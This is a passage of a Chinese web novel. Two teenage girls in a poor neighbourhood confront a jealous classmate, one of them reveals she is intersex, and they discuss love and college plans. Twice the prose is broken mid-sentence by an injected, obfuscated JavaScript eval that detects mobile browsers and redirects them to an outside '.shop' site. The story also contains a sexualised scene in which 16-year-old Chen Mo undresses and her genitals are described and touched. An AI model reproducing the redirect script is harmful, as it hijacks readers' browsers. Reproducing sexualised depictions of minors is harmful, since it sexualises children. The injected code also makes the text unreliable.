巧克力派放回了货架上,陈漠动作很轻,轻到包装盒碰在金属货架上没有发出任何声响。她往货架的尽头挪了两步,侧着身子,肩膀贴着膨化食品袋,从第三排货架和第四排货架之间的缝隙里看过去。隔壁走道是第二排和第三排货架之间的那条窄道,刚好在膨化食品架和调味品架之间,光线比门口暗一些。 她看到了伊莎贝拉。 伊莎贝拉站在调味品货架的尽头,背靠着一排瓶装辣椒酱,身上穿着宽松的白色卫衣和浅灰色棉质长裤,白色运动鞋,右手提着一个购物篮,篮子里放着两包玉米饼和一袋白糖。 站在伊莎贝拉对面的是一个白人女生,跟她差不多高,身材结实,肩膀很宽,穿着一件深绿色的连帽卫衣,帽子没套上,露出一头剪得很短的浅棕色头发。她的五官不算差,下颌线条很硬朗,嘴角往下撇着。 陈漠认出她了。 高年级的,十二年级,校女篮的主力小前锋,大家叫她TJ还是JK之类的。陈漠在学校走廊里见过她几次,每次都是在学校储物柜那一排,TJ和她的队友靠在柜子上聊天,声音很大,笑声也很大,是那种在高中走廊里自带声场的人。上周四陈漠去打水的时候还看到她在饮水机旁边单手撑着墙跟一个金发女生说话,姿势和现在如出一辙。 “That’s bullshit。”TJ往前迈了一步,两个人之间的距离被压缩到不到一步。 “你说你没有那种感觉,那你上个月为什么跟我去看了电影?你为什么坐在我旁边吃了同一桶爆米花?你为什么散场的时候跟我说你觉得那个女主角很帅?” 伊莎贝拉表情很平静,“因为我们是朋友,朋友一起看电影很正常。” “Bullshit,又是这个。每次都是这个。你做了什么你心里清楚,伊莎贝拉,你到底在怕什么?你怕承认?还是你怕你妈知道?” 陈漠靠膨化食品架更近了一点,几包薯片在架子上滑了一下,她伸手按住。 “Fine。你想听实话?实话就是我现在有喜欢的人了。不是你。以前也不是你,以后也不会是。你接受也好不接受也好,这就是实话。” TJ笑了一声,笑得很短促,声音里有种说不清是嘲讽还是受伤的东西,“你说那个天天翘课的华人女生?那个叫漠的?你跟她住隔壁?现在都知道你跟她的事,停车场那件事都传遍了。” 伊莎贝拉肩膀僵了一瞬。 TJ见状笑得更大声,声音也提高了一点,在便利店里回荡,“She doesn’t even talk!她就像个哑巴,你跟她在一起能说什么?靠比划吗?她确实长得还不错,但一张脸能撑多久?我不明白你为什么会喜欢这种人。” “You don’t know her。”伊莎贝拉的声音冷了下来。 “You‘re gonna talk to me about dyke drama in my store?” 三个人的目光同时转向收银台的方向。 老板娘两只手撑着柜台,脸上是“我已经听够了”的表情,“买完东西就结账,不买东西就出去。我这里不是学校停车场。” 伊莎贝拉垂下眼睛,绕过TJ,低着头往收银台走。 TJ跟了上去。 伊莎贝拉把购物篮放在收银台上,老板娘正在扫玉米饼的条形码。TJ站在她身后大概两步远的地方,手插在卫衣口袋里。 陈漠从货架之间走出来,手里拎着一瓶蓝色运动饮料和一盒巧克力派。她走到收银台前面,东西放在柜台上,侧过头,看了伊莎贝拉一眼。 伊莎贝拉转过头来,看到是陈漠,嘴微微张开,又闭上了。那种表情怎么形容呢,大概是“你是不是听到了什么不该听的”和“你怎么在这”的混合体。 陈漠没什么反应,头转了回去,站的位置刚好在伊莎贝拉和TJ之间。 TJ比陈漠矮大概三四厘米,她需要微微抬起下巴才能平视陈漠的眼睛。她看着陈漠,脸上的表情很复杂,嘴唇动了一下,好像想说点狠话,但最后一个字也没说出来,转身推门走了。 老板娘扫完伊莎贝拉的东西,报了价格。伊莎贝拉从口袋里摸出几张钞票。陈漠推过去自己的运动饮料和巧克力派,老板娘扫了码,陈漠掏出钞票递过去。 “一起的?”老板娘接过钞票看着她们俩。 伊莎贝拉说“分开付”,陈漠则说的是“一起”。 老板娘看了看她们俩,在陈漠那张钞票里找了零,把两袋东西分开装好推过来。 伊莎贝拉接过自己那个袋子,低着头,靠在收银台旁边,用脚碾着地砖缝隙里不知谁踩扁的口香糖。 “你来很久了?” “刚到。”陈漠拧开运动饮料的瓶盖喝了一口。 饮料瓶盖拧回去的时候发出咔嗒声,瓶子搁在收银台上,陈漠侧过身来看着伊莎贝拉。 伊莎贝拉靠在柜台边上,购物袋攥在左手里,右手的指甲在收银台木纹贴面的边缘来回刮着。 “那个TJ,”伊莎贝拉先开了口,“我跟她不是那种关系。” “她是我同学,十二年级的。上学期我在校队当学生经理的时候认识的,她是女篮的。她请我去看电影,我说了好几次不去,后来觉得再拒绝就太不给人台阶了,就去了。就是普通的看电影。散场的时候我说女主角很帅,那是……那是因为那个女主角真的很帅,不是因为我跟她有什么。我已经拒绝她好几次了,当面拒绝的,短信也发过。今天她又在路上堵我,一路跟到便利店,我没……” “你不用跟我解释。”陈漠打断她,脸上看不出任何情绪波动,“TJ对你有意思也好,没意思也好,她跟你是什么关系,这些都跟我没什么关系。” “跟你没什么关系。”伊莎贝拉重复了一遍,声音很平。 陈漠点了头,“嗯。” 她知道自己在说什么。颂蓬管这个叫防守反击,在对方出招之前先拉开距离,用最简洁的动作把进攻路线全部封死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530156|203371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 汤姆森医生办公室里那张打印纸上写得明明白白,她身体里有两套器官,腹腔里有间质细胞组织在分泌睾酮,体外的器官发育到完全正常的形态和尺寸。医生用“externalan”这个词的时候语气很平淡,像是在说一副额外的扁桃体。但伊莎贝拉说她是拉拉。拉拉的意思是女孩子喜欢女孩子,前提是两个都是女孩子。 伊莎贝拉喜欢的是那个在停车场一对二打架的陈漠,是那个摸Biscuit的时候会笑的陈漠,是那个躺在床上一动不动让她咬了一口脖子的陈漠。 可陈漠不是纯粹的女孩子。她有一部分是男的,或者按照某些医学分类标准来说,她有一部分不是女的。这个词怎么解释都绕不开同一个终点。 她没告诉伊莎贝拉。昨天晚上她握着伊莎贝拉的手的时候没告诉,今天下午在便利店她也没告诉。因为她不知道怎么开口,也因为一旦开了口就收不回来。第六街区的人会用什么词来称呼她这种人,她比谁都清楚。她在学校走廊里听过那些词,在篮球场边上听过,在铜钉酒吧的后巷里听过。最刻薄的那些词从来不是冲着她来的,因为所有人都以为她只是一个凶悍的女生,但如果有人知道了呢。她会变成什么。 所以还不如一开始就别发展。 TJ至少是个女生,如果伊莎贝拉选TJ,不需要面对这些破事。如果伊莎贝拉问她“你跟我一样吗”,她怎么回答,一样吗,不完全一样。不一样吗,又好像是一样的。喜欢一个人这件事本身,在她搞清楚自己是谁之前,就已经先到了。 风铃叮铃铃地响起来,一个穿着加油站工服的黑人推门进来,径直走向饮料柜。 老板娘招呼了一声,推开收银台侧面的小挡板,往便利店后面的储物间走。经过陈漠身边的时候,她用韩语低低地说了一句“十分钟”,然后头也不回地消失在储物间的门帘后面。 “陈漠。” “嗯。” “你是不是觉得我这个人很随便。” 陈漠拧瓶盖的动作停了。她偏过头,看到伊莎贝拉的侧脸,蜜棕色的皮肤在便利店惨白的日光灯下显得比平时浅了一个色号,下唇被咬得泛白。 “不是。”陈漠说。 “那你刚才那句话是什么意思。跟我没什么关系,你说这句话的时候,表情跟你上个月在停车场打架之前一模一样。你把自己关起来了。我看得出来。” 陈漠确实在关。只要感觉到威胁,不管威胁来自拳头还是来自别的什么东西,她的第一反应都是拉开距离,架起防守,把最脆弱的部位护住。但她没想到伊莎贝拉能看出来,更没想到伊莎贝拉会直接说出来。 “我没有觉得你随便。” “那就告诉我为什么。你昨天晚上握着我的手,你握了整整一夜。你以为我不知道?我醒了三次,每次你的手都在。陈漠,你握我手的时候不是在演戏,那是什么?” 伊莎贝拉往前迈了一步,两个人之间的距离缩短到不到一臂。陈漠闻到了她身上的味道,花香味的沐浴露,还有一点点刚才在调味品货架旁边蹭到的辣椒酱的辛香气。 “你喜欢我。”伊莎贝拉说。 陈漠的下颌线绷紧了。她想否认,但伊莎贝拉说的是事实。她确实喜欢。从什么时候开始的她自己也说不清,可能是那天在停车场伊莎贝拉说“so you do know how to smile”的时候,可能是Biscuit把脑袋搁在她膝盖上的时候,可能是伊莎贝拉坐在床边歪着头说“我猜对了,你跟我一样”的时候,也可能更早。 “那又怎样。” “什么叫那又怎样?”伊莎贝拉的眉毛拧起来,梨涡消失了,“你昨天晚上在我床上,握着我的手,我安心得整个人都快化在你身上了。我今天在学校一上午都在想,想你的手,想你的伤,想颂蓬今天会不会又让你训练到很晚我能不能在门口蹲到你回来。我想了一上午,结果你站在这里跟我说跟我没什么关系?” 伊莎贝拉说这话的时候声音提高了,便利店后面储物间里没有任何动静,老板娘大概正在里面整理库存,故意给她们腾出这个空间。 陈漠抿了抿唇,饮料瓶搁在收银台上,手指收紧又松开,松开又收紧。 “你到底在怕什么?”伊莎贝拉又往前逼了一步,现在两个人之间的距离近到她能看清陈漠右眉骨上那道疤的走向,“你是不是觉得我是那种今天说喜欢你明天就去跟别人看电影的人?还是你觉得我追你只是一时兴起玩玩而已?” “都不是。” “那你是什么意思?你是直的吗?你不喜欢女生?那昨天晚上算什么,你告诉我,昨天晚上算什么?” 14.第 14 章 陈漠张了张嘴。 她知道正确的答案是什么。正确的答案是“我不喜欢女生”,说出来就结束了。伊莎贝拉会难过,会在罗莎面前哭一场然后把Biscuit抱在怀里揉耳朵,然后过一阵子就会好。TJ会在走廊里继续堵她,也许哪一天伊莎贝拉就真的跟TJ在一起了,或者跟别的女生在一起,跟她陈漠再没有任何关系。这是安全的答案,对她安全,对伊莎贝拉也安全。 可她说不出来。 不管她在十六年的人生里花了多少力气把自己裹紧,昨天晚上握着伊莎贝拉手的那个人是她自己。她没有任何借口,她就是喜欢。 “我不确定。”她最终说出口的是这句话。 “不确定什么?不确定你是不是喜欢我?” “不确定我是不是……”陈漠顿住了,词就卡在喉咙口,卡了将近十秒,才被她用低到几乎听不见的声音挤出来,“不确定我是不是一个女生。” “你……什么意思?什么叫不确定你是不是女生?” “我上午去医院了,医生说我身体里有两套器官,其中一套是男的。所以我不确定。你是拉拉,你喜欢女生。但我有一部分是男的。” “……” 伊莎贝拉手里那袋东西滑到了臂弯里,另一只手抬起来,指尖碰了碰自己的下唇,深棕色的眼睛在陈漠身上扫了一圈,像是在把所有散落的信息都捡起来拼到一起,“你说这些是什么意思?想让我走?还是觉得我会在意?” “你……”陈漠皱起了眉,“你在不在意我怎么知道。” 伊莎贝拉闭上眼睛深吸一口气,购物袋和挎包往地上一放,抓住陈漠的手腕,往便利店后面的方向拽。 陈漠被拽得踉跄了半步。 便利店后面的储物间旁边有一扇窄门,门楣上贴着一个褪色的厕所标识,伊莎贝拉抬脚把门踹开,灯泡亮起来,照着四面贴满白色小方砖的墙壁。厕所不大,一个洗手台,一面镜子,一个马桶,地面还算干净。 伊莎贝拉锁上门。洗手台上面镜子里映出两个人,一个高个子黑头发的女孩子,一个卷发蜜棕色皮肤的女孩子。 伊莎贝拉转过身,背靠着洗手台,双臂交叉在胸前:“把衣服脱了。” 陈漠:“……” “你说你身上多了一套东西。证明给我看。” 陈漠站在原地没动,心跳快得像是颂蓬让她连做了十组扫踢之后的频率,刚才在外面说的那些话是她过去十六年最大限度的坦白,每一个字都已经划到了她能承受的边界。 她猜想过伊莎贝拉的反应,可能会惊恐,可能会嫌弃,可能会礼貌地退开然后用最快的速度消失在便利店门口的风铃声中。 可伊莎贝拉却选择把她推进厕所,问她是不是在意,还让她脱衣服。 过了好一会儿。 她才抬起手,解开外套拉到一半的拉链,将灰色运动外套脱下来挂在门后的挂钩上,然后是里面那件白T恤,下摆撩起来翻过头顶,和外套挂在一起。 伊莎贝拉吸了口气,手指按在锁骨下方那条细细的金色十字架项链上,指尖渐渐泛白。 陈漠的上半身和她那天在房间里看到的不一样。 锁骨下方那块青黄色的淤青已经褪了大半,变成了淡淡的黄绿色。但那不过是冰山一角,整个躯干上几乎找不到一块完整的肤色,肋骨侧面有三处深浅不一的淤血,左肩峰有一块发紫的撞击伤,右小臂内侧还有一道大概十厘米长的划伤结着暗红色的痂。在这一切之外,是颂蓬用几个月时间敲打出来的肌肉线条。不算夸张,肩宽,腰窄,小臂上的肌肉薄而紧实,腹肌在紧致中隐隐浮现浅浅的阴影,每一块都带着“我是被打出来的”这个事实。 陈漠速度很快,解开裤腰上的抽绳,脱了裤子,灰色的棉质长裤落在脚踝上,再踢到一边。她的腿上伤痕更多,小腿胫骨上那道刮伤,两侧膝盖上方到髋骨下方还散落着几处拳头大小的淤青。 现在她全身上下只剩运动内衣和纯黑色的平角内裤。 伊莎贝拉看到了。 黑色的棉质面料被撑起的弧度明显不属于一个普通女生。即便是平角宽松的款式,也被顶成了一个不容忽视的鼓包,从髋骨之间隆起,往左腿根的方向微微偏斜,隔着棉布都能看出它的形状占据了不该占据的空间。 这是陈漠活了十六年最不想让任何人看到的东西,教练在训练场捡衣服时她会特意背过身去,在家里洗澡之后会拿毛巾遮住才反过来穿衣。 现在它在伊莎贝拉面前,距离不到一步,在厕所惨白的灯光下清清楚楚。 “你看到了。”陈漠说着,想往后退,但厕所就这么大,她的后背已经碰到了瓷砖墙面,“这就是我说的多出来的东西。” “所以你觉得这很恶心?还是觉得你自己很恶心?”伊莎贝拉问。 她往前迈了半步,手指松开了一直捏着十字架项链,手伸出去,食指的指腹点在黑色布料最高点的位置上。 “……”陈漠的心跳在这一瞬间撞得肋骨生疼,她低头看着伊莎贝拉的手指停在那里,隔着一层棉布,指尖的温度传过来。 “这算什么呢,”伊莎贝拉说,声音低哑的听不出平时半点的清脆,“也就是多了一点点东西。我长到现在,偷偷喜欢过很多女生,但你让她们所有人加起来都变得无聊。我喜欢的是你,你听到了没有。” 门板后面传来老板娘说话声,似乎是在接电话,紧接着是储物间里纸箱被拖动的声音,脚步声往厕所的方向靠近。 手收回来,伊莎贝拉弯腰捡起地上灰色棉质长裤,抖开,撑开裤腰蹲下去。陈漠意识到她想做什么,伸手扶住伊莎贝拉的肩膀。 “我自己来。” 伊莎贝拉跪在地上仰起头,嘴角浮出一个很浅的梨涡:“现在知道害羞了?” 陈漠:“……” 她迅速套上裤子,抽绳系好,转身去拿挂在门后的T恤。 伊莎贝拉在她身后站起来,手指碰到陈漠裸露的脊柱中段,沿着那道沟壑滑到肩胛骨之间的位置,停在那里,掌心贴着她的皮肤。 “陈漠,你大概不知道你身上这些疤有多好看。” 陈漠的手顿了顿,套好T恤,转过来。伊莎贝拉抬起头,眼仁里有一点亮晶晶的东西,不知道是灯光还是别的什么。 “我想拿素描本全画下来。” 陈漠忍俊不禁:“你先学会画Biscuit的毛吧,那张还没画完。” 头抵在陈漠的锁骨上,伊莎贝拉闷笑着说了一句西班牙语,大概是骂她的话。 陈漠听懂了其中一个词,是“傻子”。 厕所门被敲了两下。 老板娘的声音隔着门板传过来,翻译过来的大意是“我还得开门做生意你们俩占用厕所太久了我还要拖地”。 伊莎贝拉从陈漠怀里抬起头,用手背蹭了一下眼角,拉开厕所门。老板娘站在门外,看到她们俩一前一后从厕所里出来,伊莎贝拉头发有点乱,陈漠的T恤领口歪了一边。 老板娘摇摇头,对陈漠说:“下次这种事情回家做。” 陈漠面不改色地用韩语回了一句:“我们是出来买东西的。” 她们的购物袋放在收银台旁边的地上,一个从袋口滑出来的玉米饼,伊莎贝拉蹲下去捡起来重新装好,直起身的时候停顿了一下,认真看着陈漠。 “刚刚我说的每一句话都算数,你是没听见还是要我抄在纸上给你。” “听见了。”陈漠说,顿了一下又补了一句,“每一句。” 两个人并排走出便利店,风铃在身后响了一阵子才安静下来。 伊莎贝拉走路的步子恢复了平时那种轻快节奏。 “周末你训练不训练?” “训。” “我能不能去看?” “颂蓬不喜欢外人。” “我是外人吗?” 陈漠斜了她一眼:“你都不算外人的话那就没人算内人了。” 伊莎贝拉停下脚步,“你还知道内人这个词?” “……我妈看电视剧的时候我听到过。”陈漠不太想继续这个话题。 她们继续往前走,经过篮球场,球场上空荡荡的,球网的残骸被风吹得晃来晃去。路过丹妮丝家门口时,丹妮丝正坐在门廊上喝一罐汽水,看到她们俩并排走过,吹了一声口哨,喊了句“cute couple”,伊莎贝拉朝她挥了挥手,笑着喊回去一句“Thank you!” 陈漠紧崩着脸,抓着伊莎贝拉的手腕加快了脚步。 伊莎贝拉被陈漠拽着走过了丹妮丝家,手腕在陈漠的掌心里挣了一下,没挣开,无奈道:“丹妮丝就是开了个玩笑,你反应这么大干嘛?不知道的还以为她说了什么不得了的话。” 陈漠松开她的手腕,手插回外套口袋里,步子迈得比刚才大了半拍,“我没有反应大。” “你拽着我走的速度都快赶上你跑去铜钉酒吧那天了,”伊莎贝拉跟上来,“cute couple,两个词,就把一个能打三个的红蚁头号打手吓跑了。” “我没跑。” “你是没跑,你只是加快了脚步。” 陈漠斜了她一眼。伊莎贝拉正仰着脸看她,梨涡在午后的太阳底下若隐若现。她深吸了口气,外套拉链往上拉了半寸,用一种在训练场上跟颂蓬讨论技术动作的语气说:“我不习惯被人当街那么叫。” “所以不是不喜欢,是不习惯。” 陈漠没接这个话。伊莎贝拉也没再追问,她太清楚了跟陈漠聊天什么时候该乘胜追击,什么时候该鸣金收兵。 她们走到白漆栅栏门前的时候,Biscuit已经在门廊上趴了很久了,脑袋搁在前爪上,尾巴在听到脚步声的第一时间就开始敲打门廊的木地板,发出闷闷的声响。它站起来抖了抖毛,跑到栅栏门前,把鼻子从铁丝网 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532522|203371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的缝隙里挤出来,粉红色的舌头舔了一下陈漠的手指。 陈漠蹲下去,隔着栅栏门挠了挠她耳后的软毛。伊莎贝拉推开栅栏门的时候,Biscuit立刻转移目标围着伊莎贝拉的腿转了两圈,又跑回陈漠脚边。 陈漠从口袋里掏出手机看了一眼时间。 屏幕显示14:27。 离颂蓬说的四点还有一个半小时,训练场离这里走路只要十五分钟,时间上完全来得及。手机塞回口袋里,她把手里拎着的购物袋递过去,“你到家了,我先回去歇一下。” 她转身的幅度还没超过三十度,袖子就被拽住了。 伊莎贝拉左手拎着购物袋,右手攥着陈漠外套袖口的边,力道不大。陈漠回过头,伊莎贝拉站在栅栏门内侧,白卫衣的兜帽歪在一边肩膀上,脸上的表情是那种刚做了个决定还没开口先理直气壮的表情。 “你还有一个半小时对吧。” 陈漠没来得及回答,伊莎贝拉就替她答了:“够了。我有话跟你说。” 门廊的木地板被Biscuit的爪子踩得啪嗒啪嗒响,伊莎贝拉推开纱门让陈漠先进,Biscuit从她们俩腿之间挤进去,直奔沙发旁边的水盆,啪嗒啪嗒地舔水喝。 “我妈去教堂了,我爸去五金店买水管接头,家里没人。”购物袋往厨房的岛台上一放,伊莎贝拉转身看着陈漠,“坐。” 陈漠在客厅那张奶油色布艺沙发上坐了下来,腰背笔直,双手搁在膝盖上。伊莎贝拉看到她这个姿势就想笑,上次在她床上也是这个姿势,在医院候诊室大概也是这个姿势,说不定在颂蓬的训练场上听训话的时候也是这个姿势。 伊莎贝拉走到陈漠面前,站着,双臂交叉,垂着眼睛看她。 片刻沉默蓄足了底气后,她开口了。 “八月二十三号。” “什么?” “SAT考试。八月二十三号,今年夏天最后一场。我在学校报的是十月的,但我爸非让我加报一场八月的,说万一十月考砸了还有一次分数可以递。他说东海岸那边的大学都看SAT,不看什么GPA加权,他就信这个。” 陈漠知道SAT是什么,十二年级的学生都要考这个,但她没搞懂为什么伊莎贝拉要跟她说这个。 “我报了洛根市大学。不是社区大学,是四年制有本科学位的那种。我知道你在想什么,肯定在想第六街区的人谁会去上洛根市大学,但我就报了。他们的艺术系在全州排前三,有独立的美术楼,三楼一整层都是画室。”伊莎贝拉说,语速不由自主地快了,“我在网上看过图片,画室的窗户朝北,上午的光线是漫反射,不会在画布上投阴影。画架是新的,不是我们高中美术教室里那种木架子松松垮垮摇来晃去散架一次总务处拿胶带缠两次的破烂。” “课程目录我都可以背出来了,素描基础,色彩理论,人体解剖,数字绘画,大三还有一门课专门学壁画修复,教授是个从墨西哥国立自治大学过来的老太太,修复过迭戈·里维拉的壁画。” “你去洛根市大学是因为你想学壁画修复?” “对,因为我想学壁画修复,因为我想有一天回到我爸在瓜达拉哈拉的老家,那个镇上的教堂里有三幅十八世纪的壁画,屋顶漏水泡坏了一半,没人管。我小时候跟我爷爷去做弥撒,仰着头看那些褪色的天使和圣徒,觉得他们快被水渍吞掉了。我跟我爷爷说,等我长大了我要把它们修好,我爷爷说,那你得先学很多很多的东西才行。我当时觉得他在哄我,后来才知道,他真的在告诉我路怎么走。” 陈漠听着伊莎贝拉在滔滔不绝,看着她把大学课程背得这么熟,忽然意识到眼前这个人早就在心里建好了另一个世界。 她要去那个世界,她知道怎么去,而且她不打算让任何事情拦在她前面。 “洛根市大学离第六街区很远,”伊莎贝拉继续说,“坐公交要将近两个小时,中间换两趟车。所以我不打算通勤,我要搬进学生宿舍。我爸说他付学费和住宿费,他说他当年没读完高中就出来打工了,这辈子最亏的就是这件事,他说他就算再多打两份工也要让我读完四年。” 她的语速慢了下来。关于画的铺天盖地的描述里停下来,深棕色的眼仁注视陈漠。 “我在那个大学等你。” 陈漠怔了怔,表情空白了一瞬,“你说什么?” “你现在是十年级,两年后毕业。我八月考SAT,年底之前拿到洛根市大学的录取通知书,明年秋天入学,大一。等你高中毕业的时候我刚好大二,刚到可以跟宿舍管理处申请住双人间的年级。你考进来,跟我住一起,一起吃饭,一起在图书馆熬夜,一起去画室,你在旁边打沙袋……”她说到这的时候被自己逗笑了,“我不知道,反正你可以在画室里找个角落做你的事,不会打扰我画画。我在网上查过,洛根市大学的学生宿舍每一层都有健身房,就在一楼大厅旁边,你可以在那里训练。” 15.第 15 章 洛根市大学。 四年制,有独立美术楼,画室窗户朝北,学生宿舍有健身房,学费加住宿费。陈国栋一周六天从早上十点站到晚上十一点,手上烫伤摞烫伤,也就勉强供着这套破房子和家里的日常开销。 伊莎贝拉也是在这条街上长大的,隔壁那栋灰黄色墙漆剥落的房子里住着谁,住着的是干什么的人家,伊莎贝拉一清二楚。 “我……”陈漠顿了顿,“大学的事,我没怎么想过。” “那现在想。” “学费不便宜。” 伊莎贝拉在她旁边的沙发上坐了下来,侧着身子,腿盘在身下,膝盖顶着陈漠的大腿外侧。 “我知道你家的情况。但你也知道你自己是什么情况,你不是那种成绩差到只能混日子的学生。你考进前十名稳稳当当,那个法利小姐追着你叫你申请辅导班不就因为你分数高吗。我听过别人说,上次历史课交论文,丹尼尔斯先生当着全班的面把你的论文片段念了三段,说这是他见过的最好的十年级论文。他在我们班也念了,十二年级的班。我当时坐在第三排,旁边的人都在问陈漠是谁。我说是我邻居,住我隔壁。” “……我可能读完高中就不读了。” “为什么不读?” “帮红蚁送货赚不了大学学费。丁哥那条线我跑一周拿一百五,加上私活,一个月能攒一点。但我算过了,就算我从现在开始把所有钱都存下来,到高中毕业也不够两年学费的零头。我爸挣的钱不够。” “奖学金呢?” “法利小姐说过,社区大学有政府补贴,但四年制的州立大学不在那个补贴范围里。我又是非法的,很多奖学金不能申请。” 伊莎贝拉盘腿坐在沙发上,低头看着手腕上花花绿绿的编织手绳,手指拨了拨其中一根橘色的,沉默了很长一段时间,然后抬起头,梨涡在一侧脸颊上浅浅地浮现。 “你知道吗,你刚才说了两件事。一件是说你没钱,一件是说你没身份。这都是真的,我不跟你争。但是你漏了一件事。” “什么?” “你没说你不配。” “你父母借了一屁股债来这个国家,被亲戚骗得一分不剩,从地下室开始,一点一点还债。你爸在后厨站了八年,手上全是烫伤。你妈在洗衣店叠了八年衣服,周末还要去给别人擦地板。他们花了八年给你攒出了这栋房子里每一个能用的灯泡和每一张餐桌上的钞票。然后他们的女儿跟我说,她可能读完高中就不读了。” “你觉得你读完高中就不读了,你爸妈会觉得这是值得的吗?” “我没钱交学费,不代表我不应该去读大学。这不是一回事。你有没有想过,你已经是非法移民了,这世上有一大半的门已经对你关上了,剩下那扇还开着的门就是你脑子里能装多少东西,你的手能做什么。数学、生物、历史,你随便挑一个都能比大多数人学得好。你不能在还有门开着的时候自己先把门关上。这太亏了。这比你在铜钉酒吧一个人打三个还亏,因为那次你至少知道对手是谁。” 这番话砸醒了陈漠。 她从来没有把不上大学和不值得连在一起想过。她只是觉得没必要想,现实的数字账在那里摆着,想多了是无用功。但现在伊莎贝拉把她爸手里的烫伤,她妈鬓角的白发和她在历史论文上拿到的A+全放在了同一条线上,让她自己去算总账。 “你说的事我全知道。第一条路,读完高中帮红蚁继续送货,攒钱,帮家里还债。第二条路,去打地下拳,赢了拿钱,输了进医院。第三条路……”她将头抬起,“考大学,学东西,跟你在同一所学校,看你在那个窗户朝北的画室里画你的壁画。” 她把昨天到今天积攒下来的矜持与胆怯击碎了,破罐子破摔似的说了出来:“我也想看着你画画,不是在网上,不是在手机屏幕上,是真的坐在你旁边,看你在画布上把那些褪色的天使一个一个重新涂上颜色。画画也好,做别的也好,我想在你身边,看你做你喜欢的事。” “我想跟你一起。不管那叫什么。” 这是陈漠十六年来最响亮的宣告。 伊莎贝拉整个人愣了一会,随后伸出手,整个手掌贴上陈漠的脸颊。拇指拂过陈漠右眉骨上的那道旧疤,触感很轻,和摸Biscuit的时候完全一样。 “这个疤我一直想摸一下,从第一次在便利店门口看到你就想。” 陈漠抬手,指关节缠满绷带的手指圈住了她的手腕:“现在摸到了。” “嗯。” “什么感觉?” “很好,比我想的还好。” “从今天起,”她话锋一转,声音放得很平,“我去图书馆做SAT真题,你来跟我一起。我刷题,你写作业……不,你也不用写什么作业,你就坐在我对面看书就行。反正你不能一个人待在训练场以外的地方,你待在那里就会想钱的事,想多了人就容易泄气。” “另外,法利小姐给你的辅导班,周一三五下午三点到五点,你给我去。出勤率不够的话,社区大学的学费补贴也拿不到,这个是你底线里的底线。” 陈漠抬眼望着她,答应了下来。伊莎贝拉本来准备了一大堆论据准备反驳,结果都卡了壳。 客厅里安静了片刻。 伊莎贝拉的手还贴在陈漠的脸颊上,拇指停在她右眉骨的末端。她歪着头看陈漠,深棕色的眼仁里有一点从窗户透进来的阳光,金色的,暖的,让她整张脸看起来比平时更柔了几分。 陈漠这个时候才真正看清她长什么样子。 眉毛是浓的,带着自然的弧度,没有修过,眉尾微微往下弯,给整张脸定了一个温柔的基调。眼窝很深,但不是那种凹陷的凌厉。上下睫毛又密又长,眨眼的时候会在颧骨上方投下阴影。鼻梁秀挺,线条很流畅,从眉心到鼻尖是一条柔和的弧线。嘴唇丰满,下唇比上唇略厚一些,唇色是天然的深粉。皮肤是在拉美裔里也不算常见的蜜棕色,均匀得像被阳光从里到外浸透了一样。 她笑的时候,嘴角往上翘的弧度刚好能挤出那两个梨涡,不深不浅。 陈漠以前从来没有这么近距离地看过这张脸。七年邻居,无数次在街角和便利店打照面,她看伊莎贝拉的方式一直是一种“知道她在那里”的扫描,从没有像现在这样对焦过。 现在对焦了,看得太清楚了,她理解了TJ为什么追着伊莎贝拉不放。 伊莎贝拉给人的感觉,第一眼平淡,第二眼入心,第三眼便再也挪不开目光。她的美是动态的,藏在每一次梨涡浮起的瞬间,藏在每一次撩发到耳后的弧度里。 而现在那双深棕色的眼睛正盯着陈漠看,看得陈漠心里有什么东西在往下塌。 伊莎贝拉注意到了。 她注意到陈漠的目光先是在她的眉毛上停了一会儿,又移到她的睫毛上,滑到鼻尖,最后落在嘴唇上,在那停了好几秒才弹开。她也注意到陈漠的呼吸变了,变得比刚才浅。她更注意到陈漠的耳朵,红了。 伊莎贝拉在心里笑了一声。她不是没见过别人对她脸红,TJ每次在走廊里堵她的时候都会脸红,但那种脸红让她觉得麻烦。陈漠的脸红不一样,陈漠的脸红是意外的,是这个人浑身冷硬的伪装上裂开的一条缝,缝里透出来的光是软的,是热的,是陈漠自己都不知道自己有的东西。 她的拇指离开陈漠眉骨上的疤痕,缓缓下移,指腹轻蹭过她的太阳穴、颧骨,最终落在她唇上。陈漠的嘴唇不厚,唇形清晰,下唇正中一道浅淡竖纹,是常年抿唇留下的痕迹。 陈漠的身体僵住了,手指在膝盖上蜷起来,指关节上缠着的绷带被捏得变形。 伊莎贝拉看着她的反应,心里那个“调戏她一下”的念头膨胀到了无法忽视的程度。她不是经常有这种念头的人,或者说,她以前对别人从来不会有这种念头。但对陈漠,从停车场陈漠挡在她面前的那一刻起,她就想看看这个永远面无表情的人到底能被撩到什么程度。 “Chen。” “嗯。” “你有没有亲过别人?” 伊莎贝拉的表情是认真的,可嘴角梨涡出卖了她。 她在忍笑。 她明明知道答案,她就是想听陈漠亲口说出来。 “……没有。”陈漠说。 “男生女生都没有?” “都没有。” “那你想不想试一下?” “……你说的试,是跟谁试。” 这句话一出来,伊莎贝拉彻底憋不住笑了。梨涡在脸颊上炸开,眼睛弯成了两道弧线,肩膀都在抖。她双手捧住陈漠的脸,额头抵在陈漠的额头上,鼻尖碰着鼻尖。 “Ay,Dios mío 